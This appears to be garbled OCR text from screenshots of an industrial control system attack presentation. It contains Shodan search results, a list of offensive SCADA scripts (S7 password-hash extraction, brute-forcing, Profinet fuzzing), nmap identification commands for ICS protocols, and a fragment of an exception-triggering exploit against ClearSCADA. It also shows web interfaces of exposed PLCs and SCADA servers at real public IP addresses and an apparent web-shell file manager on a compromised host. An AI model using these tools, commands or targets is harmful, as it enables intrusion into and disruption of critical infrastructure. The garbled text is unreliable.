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TOP COUNTRIES Showing results 1 -10 of 378
217.128.53.201
|
‘ 4 Orange
11 France
. Details
France 120
German: y 51
United Kingdom 36
Sweden 2
Portugal 2
82.145.148.206
TOP SERVICE
Bredband | Gislaved Gnosio AB
HTTP 255
HTTPS 112 5= Sweden, Gislaved
HTTP (8080) 4 Detalls
9505 2
HTTP (83) 2
TOP ORGANIZATIONS
Orange 89
Deutsche Telekom AG 45
Completel SAS 22 80.13.100.44
HIAG Acrass AR &

8] HR2000 SCADAEBELREEF.doc

8] SCADA.EMS.DMS—E{kES Tt FAAE doc
0] SCADAZESFED S E LA docx

T BB hscadaE&iBit.pdf

T EFNetlinxFEEI I BRSViewSERISCADAE S pdf
0) ETF T ERASCADAESE.doc

T =51 SCADAS S FE SIBEREA pdf

& ST SCADAE S A E ppt

&) HSEESMMEESCADAZE S ppt

0 7K. 5. oSS SCADATEI SN ES doc
0] $r T S AESESCADAE S A doc

T Sk SCADAE SRR = pdf

2013/1/12 15:16
2013/1/12 15:13

2013/1/12 15:14

2015/12/3 15:41
2015/12/3 15:41

2013/1/12 15
2013/1/12 15:
2013/1/12 15:1
2013/1/12 15:1
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2013/1/12 15:14

2015/12/3 15:28
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Microsoft Word ...
Microsoft Weord ...

Microsoft Office...

Adobe Acrobat ..

Adobe Acrobat ...

Microsoft Word ...

Adobe Acrobat ...

Microsoft Power...
Microsoft Power...
Microsoft Weord ...

Microsoft Word ...

Adobe Acrobat ..



« Nmap, Zmap, shodan%t

= get_seed_range.py 2014/5/251
2 jec-60870-5-104.py 2014/5/25 19:1
2 jec-61850-8-1.py 2014/5/25 19:1
|:| iec-identify.nse 2014/5/25 19:1
[ mms-identify.nse 2014/5/251
~ profinet_scanner.noscapy.py 2014/5/25 1
= profinet_scanner.scapy.py 2014/5/251
= profinet_set fuzzer.py 2014/5/251
= profinet_set_network_info.py 2014/5/25 1
= s7_password_hashes_extractor.py 2014/5/251
~ 57-1200 _brute_offline.py 2014/5/25 1
= 57-1500 _brute_offline.py 2014/3/25 1
= s7-packet-structure.py 2014/5/251
= s7-show-payloads.py 2014/5/251
~ show _byte_sequences.py 2014/5/251
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Python File
Python File
Python File
NSE 305

NSE =244

Python File
Python File
Python File
Python File
Python File
Python File
Python File
Python File
Python File
Python File

IEC 61870-5-101/104 2404
nmap -Pn -n -d --script iec-identify.nse --script-args=iec-identify -p Host_ip

Siemens S7 102:

nmap -p 102 --script s7-enumerate -sV Host_ip

nmap -d --script mms-identify.nse --script-args="'mms-identify.timeout=500" -p 102 IP

3 KB
5 KB
6 KB
5 KB
8 KB
9 KB
8 KB
8 KB
3 KB
2 KB
4 KB
S KB
5 KB
7 KB
5 KB
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LTSS NI s

%1% 2.4t Schneider Electric

scada/ixA~: Schneider Electric ClearSCADA 2010 R3.1
(build 72.4644), Schneider Electric ClearSCADA 2010
R3 (build 72.4560)

(resp None):
"return Nothing!\n"

[if(resp.status——301):
"Server status is normal.\n"

[ (resp.status—-200) ;|
"Server is alre

ady in safe mode."
sys.exit(1)

[ ((resp.status!-301) [ (resp.status!-200)):|
[ ("Server returned %d %s, s tat

e unknown.\nContinuing anyways

("Sending packets to trigger exception...\n")

lsock - socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock. connect(cs)

sock.send(pkt 1
resp_1 — sock.recv(32)]

sock.send(pkt_2)
Iresp_2 = sock.recv(32)




Hscada it Al 1% R4

€ > C A {Xb#ps//210.13.195.43/diag/Info

RIF % Bookmarks M i (3) - ywh20.. M SERFREMSS © SecurityFocus () Usage - sqlmappr.. @ Hikvision IP Came... % mona.py - the mz

USRS

Geueral Informanon\Extenslons Modules | Locks | Logging | Mem
a Redirections | Buffers | Data File Cache | Diagnostics

Users
ise Thleads | Advises | Clients | Connected Workstat\ons | Link Threads | Links
Standby: Counters | Historic Transfer | ICMP Polls | Links | Polls
Historic: ConfigChanges Searches [ Historian | Historic Sealches | Journal Searches
Query Processor Latest Queries | Largest Queries | Longest Queries

s | DA Groups | DA Items | HDA Items | XML-DA Items | XML-DA Subscriptions
Webx Chents I Links [ Threads

& port:5481 country:...

| Indices | Interest | Latest System Calls |

Queued System Calls | Reference F

Server Status

DA Groups

SCADA Expert ClearSCADA 2013 R1.2 on WIN-FISCRDH72LV
Version 6.73.4955.1

C htsthItIdt SAS
SRl e 1d Hame statc | Total Clicnts | Active Clients | Def Rate | Def Handle | peficio | €
State Change Tlme 18-0CT-2014 21:10:53.138
e WertTain 18 OCTi 20 t o1 10: 02,400 BoB | WIN-FISCROHTZLN_533700_ClataSource_Fast Private | 1 1 a00 z 2052 [
Avallab:e Physical rl'lemury 136?2 .9 of 16337.6 MBytes
Avallable Virkas) Memory: 11255 of 2047.6 Mbytes BOO | WIN-FISCRIHTZIN 53700 CDataSource Mormal | Private | 1 1 1000 16 2053 I
Process Working Set Size: 414.6 MBytes
Process Peak Working Set Size: 621.2 MBytes
Process Page File Usage: 395.5 MBytes
Process Peak Page File Usa%e 601. 4 MBytes
Memory used by database objects: 30478.6 KBytes
Operatmg System: Microsoft Windows Server 2008 Enterprise Edition, 32-bit Service Pack 1 (6.0.6001)
: 1 x Intel Xeon (Sandy Bridge-EP)
Database Server: Running on port 5481
Ragistry Root: ClearSCADA
Publisher Version Status Startup Failure Count Objects Telnet Port Lo
AdvancedModbus Schneider Electric 6.73.4955.1 Stopped, No Config Automatic 0] o] 0
CrystalReports Schneider Electric 56.73.4955.1 Running Automatic o] 1 o] APP,ERR,OBJ,REQ,CRY
DF1 Schneider Electric 6.73.4955.1 Stopped, No Config Automatic 0 (0] 0
DMNP3 Schneider Electric 5.73.4955.1 Running Auvutomatic (8] o7 (8] APP,ERR,OBJ,CHMN,SET,O
Kingfisher Schneider Electric 6.73.4955.1 Stopped, No Config Automatic (8] o] (8]
Logic Schneider Electric 6.73.4955.1 Running Automatic (8] 7 - -
Modbus Schneider Electric 6.73.4955.1 Running Automatic (8] 41359 o APP,ERR,SRC,SVR
ModbusSlave Schneider Electric 6.73.4955.1 Running Automatic (s} 4 (8] APP,ERR,SRC,SVR
MNTMon Schneider Electric 6.73.4955.1 Running Automatic (o] 21 (o] APP,ERR,SRC
NTP Schneider Electric 6.73.4955.1 Stopped, No Config Automatic (o] o] (o]




 Schneider Electric BMX NOE

http-//77.209.238.174/index.htm(ﬂﬁiﬁ%ﬁ:éi:§%%, a&
&Jt_» IZIJI_D’ a%ﬁ:j%‘l‘)

Stl‘éﬂ(laelgﬁrc' BMX NOE 0100 B

Home _ Documentafin__URL L O — v —
Seup SECURITY Rack vi i Seanning status | OK
. HTTP accass rights EHElhT MNutnber oftransactions per sec : 0 | Number of connections 10
o Global Data
10 Scannin g SCANNED DEVICES STATUS
Messaging
Llsemameg - Stalistics
Bandwidih Monitoring 16 1
EENEREEEREENERER
Upload MIB file
o e : ERNEEN"
Properties
Confm password 48 33
Changa Password o *
Mon-Configured Scanne o . Unscanne: o . Fault
Data Editor Writs Password
Drafa Edior Writa password
N virilg passvord
Confm wrile password -
Conn.  Remote address Remota port  Local port Mess, Sent fide
Change Write Passward
1 83.230.180.92 636349 anz 63534 .
2 127.0.01 1045 anz ooy 7l

83.230.180.92 61573 502 il



FETICTI

F FHEEFRE S

HRIERE

> YIEE 48

BRtht

192.168.1.12 | 111.42.239.62 502

192.168.1.12 | 111.42.239.62 502

B E—0 T—0 El

eREAEHF S AP IR E DI AT

FEREA Qos
S AR A ERIE PR o Eﬂﬂ%’ﬁ’g‘@s B e ER P A R AT R

LRThER PEEZS
?ﬂéﬁf# p2p¥Rit RINEHIE) MR SR E % SHEIPEEERRR. MEEREEEE.
i

Bf LfEE TMEE  HTET T

210

» FIFEEFMRER

gzj Bt
TCP  192.168.1.2
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TCP  192.168.1.2
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o JH[E EAIVIPA GmbH PLCE & & 4;

€« C f |[1122.193.24.179:81/Ast/MainAst.shtm
11._} ; F’f}] Ansicht I/O Alzrm Zusammenfassung Dizagnose
art of auto L]

Alzrm Historie Dateitransfer

= | ommmmn | e [ v | e |s
Speicherinformationen Beschreibung “ NAT & IP Fowarding lagerter Speich 2742352 Bytes

Anzzhl an freien Chuncks 20

NAT & IP Forwarding COM Port Fehler L= B Anzahl an freien Blécken im Fast Bin 0
VCom Ungultige CRC 0 /O Server Zahler Maximaler ausgelagerter Freiraum 2742496 Bytes
— Erame Fehler 0 Modbus Verwendete Fast Bin BlockariBe 0 Bytes
1/0 Server Zahler Ungiiltige Funktion 0 Unitelway Gesamter ausgelagerter Freiraum 2575760 Bytes
Puffer zu klein 0 Gesamer freier Freiraum 166736 Bytes
]_“‘( =5 Speicher der getrimmt werden kann 24536 Bytes
art of autom Gesamter erhaltlicher Speicher 11534336 Bytes
TCP/IP ausgelzgerter Speicher 205824 Bytes

[ comeama | IR .
= . N 22240

. SNMP ausgelagerter Speicher Bytes
B ‘Haupteinstellungen = = = =
5 € Allgemein SMTP Server Port: 25 Der Standardwert ist 25. Er muss nur in sehr speziellen Fallen gesnde Freier Konfiqurationsspeicher 260001 Bytes
o - - = = - Freier Skript-Speicher 130959 Bytes
...@, Identifikation eMail Adresse "Von'": Wird verwendet um eMails zu versenden. Die Adresse muss kompatibe 5 N .
-~ Freier Speicher der fusr Partition 14580224 Bytes
- /4, Mlarme Benutzemname: Mur zusfiillen wenn eine SMTP Authentifizieren erforderlich ist. Gesamtgrdsse der /usr Partition 14581760 Bytes
- g Datum & Zeit
@ Passwort: SMTP Passwort (nur wenn obiges Feld ausnafiillt ist)
f‘i :::Zt:rt 1‘} ; F, I,._l
4 NTP  Konfiguration der Aktualisierung der TM-E Uhr mit einem NTP Zeit Server art of auta -
vi in
— Netz Service Aktivieren der Synchronisation mit
VCOM einem NTP Server:
£a) Identifikation
- [) SMTP (eMails) NTP Server Adresse;
- ) NTP (Zeit) Nachname:
N ' NTP Server Port: 123 Standard: 123 .
3|.—|-p Benutzer Login: Adm Passwort: [ —
& SyMP GMT: -2.00 Stunden
Bestatigen des
(- Diagnose Aktuzlisierungs Intervall |
FTP  Konfiguration der FTP Verbindung von TM-E mit einem FTP Server Information:




o PH[TFS7 http://212.142.151.118/Portal3000.htm

SIMATIC Diagnostic buffer
S7TCP

Events

Number Time Date Event

1 00:00:10:344 01.01.1994 10 enable by ST CPU

2 00:00:10:341 01.01.1994 Downloading the module database causes module restart

3 00:00:09:534 01.01.1994 The SIMATIC mode was selected automafically for synchronizing the internal clock. Forwarding f
4 00:00:09:418 01.01.1994 Anew IP address was assigned by a STEP 7 configuration. IP address: 192.168.0.100
5 00:00:09:417 01.01.1994 Anew IP address is expected from a STEP 7 configurafion

6 00:00:06:123 01.01.1994 WModule STOP due to modification ofthe database

7 00:00:05:542 01.01.1994 Netinterface port 2: Automatic seffing, TP/ATP with 100 Mbps full duplex

8 00:00:04:526 01.01.1994 The MAC address was fetched from the boot EPROM. This is the factory setfing.

9 00:00:03:621 01.01.1994 Netinterface port2: no Link

10 00:00:03:621 01.01.1994 Netinterface port 1:no Link

Details: 1Event ID: 164 FOCL : 0220
T/0 enable by 57 CPU

Parameters

Physical properties:
Port number

1
2

Tcp

upp

Network attachment:
MAC address (active): 00-0E-8C-B4-CE-BD
MAC address (factory sefting): 00-0E-8C-B4-CE-BD
Device name: CP-343-1-Lean

Settings
automatic
automatic

10 Mbit/s half duplex
100 Mbit's full duplex

IP parameters:
IP address: 192.168.0.100
Subnetmask: 255.255255.0
Default router: 192.168.0.1

IP address obtained from STEP 7

IP seffings: configuration




CP 343-1 CX10

SIMATIC
ST CP

Station name

Operating state:

General:
- SIMATIC 300 Station

Module name: CP 343-1 Lean
Module type: CP 343-1 Lean
Status:

DO16xDC24V/0.5A
DO16xDC24V/0.5A
Algx12Bit

SIMATIC e e ang s e
57 CP

Rack configuration (UR, Rack: 0)

Slat Status Module name

1 PS307 5A

2 ey s

3

4 CP 340-R5232C

5 I CF 3431 Lean

6 DI32xDC24V

7 DI32xDC24V

8

9

1

1

==

Algx12Bit

Order number
6EST 307-1EA00-0AAD
6EST 314-1AG14-0AB0

BEST 340-1AHO02-0AED
BGKT 343-1CX10-0XE0Q
6EST 321-1BLO0-DAAD
6EST 321-1BL0O0-0AAD
BEST 322-1BHO1-0AAD
BEST 322-1BHO1-0AAD
BEST 331-7KF02-0AB0
6EST 331-TKF02-DABO

Version

V332

V256.0

SIMATIC 300 STATION http://140.207.152.10/Portal0000.htm

LED state

SF

RUN - STOP - FRCE - MAINT

RUN - STOP - BUS1F - MAINT



« AST Scada http://122.193.24.179/Ast/MainAst.shtm

Allgemein

fﬂ) COM Konfiguration
£~ % Schnittstellen

. E@ Eth1 (LAN)

B Eth2 (WAN)

(=8 &_‘ Netzwerk Verbindungen
- b Ethernet

&= VPN

Metzwerk Konfiguration
@ Internet verbindung
----- & VPN Verbindung

----- & IP-Adresse Anzeige
----- &a Callback

» Routing

..... =, Proxy
----- [\ sicherheit

----- £ IP Service

= h Kenfiguration verwalten
- [} Sicherheit

l'& Werkseinstellung

Wihlen Sie eine

Kommunikation

Identifikation

1/0 Server Einstellung

Tag Sichtbarkeit

Allgemeine Einstellungen

Sofortiger Wert
o
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IOl i | Command | CloneTime | SQlRootki| Sysinio | Database | Regedt | About | Ext |

FRrER TR

GoTo:./Ci\D:\E:\H:\ ” 2009-6-5
Currently Dir : D\ EAER EEAEERNEES BB R R EE <dir> 1:07-47 Cut|Copy|Ren|Att|Del
Operate: [ |00 [NE000 | BEXH FEEEETE 2&}09'_10_31
Name Size ModifyTime Operate SEAT AR A O EE <dir> 0:34-16 Cut|Copy|Ren|Att|Del
Farent rector] 20122 24 SERTMAFEEK O84E20000707 <dir> 2013727200 k1 copy|Ren|Att| Del
bin <dir> 2012224 ¢t copy| HTE 15:36:42 Y
. 2009-8-9 = Tk TR - 2013-10-10
Boundary <dir> 5 g.55  Cut/Copyl & STk ek A 3R <dir> 15-20:44 Cut|Copy|Ren|Att|Del
.. 2015-12-8 a ) G-
Controls <dir> 2015128 cut|copy| =OHFEES <dir> 230963 Cut|Copy|Ren|Att|Del
. 2009-7-30 -
Css <dir> 150 Cut|Copy]| EEIFES <dir> 530198622 Cut|Copy|Ren|Att|Del
DataBaseFile <dir> %fo_gfo Cut|Copy]| N . 2011-9-9
2(509. 118 HEEEFH <dir> 396:37 Cut|Copy|Ren|Att|Del
Frames <dir> S2V00 0o Cut|Copy]| o
22:23:38 EBEBEIFHRINMINIIA =dirs 5053_23820 Cut|Copy|Ren|Att|Del
I szsz.shx 252 20_13__1_22 Edit|Cut|Copy|Ren|Down|Att| Del Cmoan
bytes 16:00:57 o 2013-10-10 Cut|Copy|Ren|Att| Del
I \webserver.rar 64 MB 5203968537 Edit|Cut|Copy|Ren|Down|Att|Del 331102922
. e > e Cut|Copy|Ren|Att| Del
D Bkt E S R s 29 KB 3[:1}029982? Edit|Cut|Copy|Ren|Down|Att|Del 23:16:51
201 2012-8-29 ytes 29};;‘3;18 Edit|Cut|Copy|Ren|Down|Att|Del

FEEETEE txt Edit|Cut|Copy|Ren|Down|Att|Del

bytes 11:05:18

s A (3)(1).txt ‘;;tzes 59369._;3.9 Edit| Cut| Copy|Ren|Down|Att| Del
i AT (3).bxt 1 KB é?ggf;g Edit| Cut| Copy|Ren|Down|Att| Del

2009-6-25
19:54:20

KB EIFGISERnew.doc 163 KB Edit|Cut|Copy|Ren|Down|Att|Del
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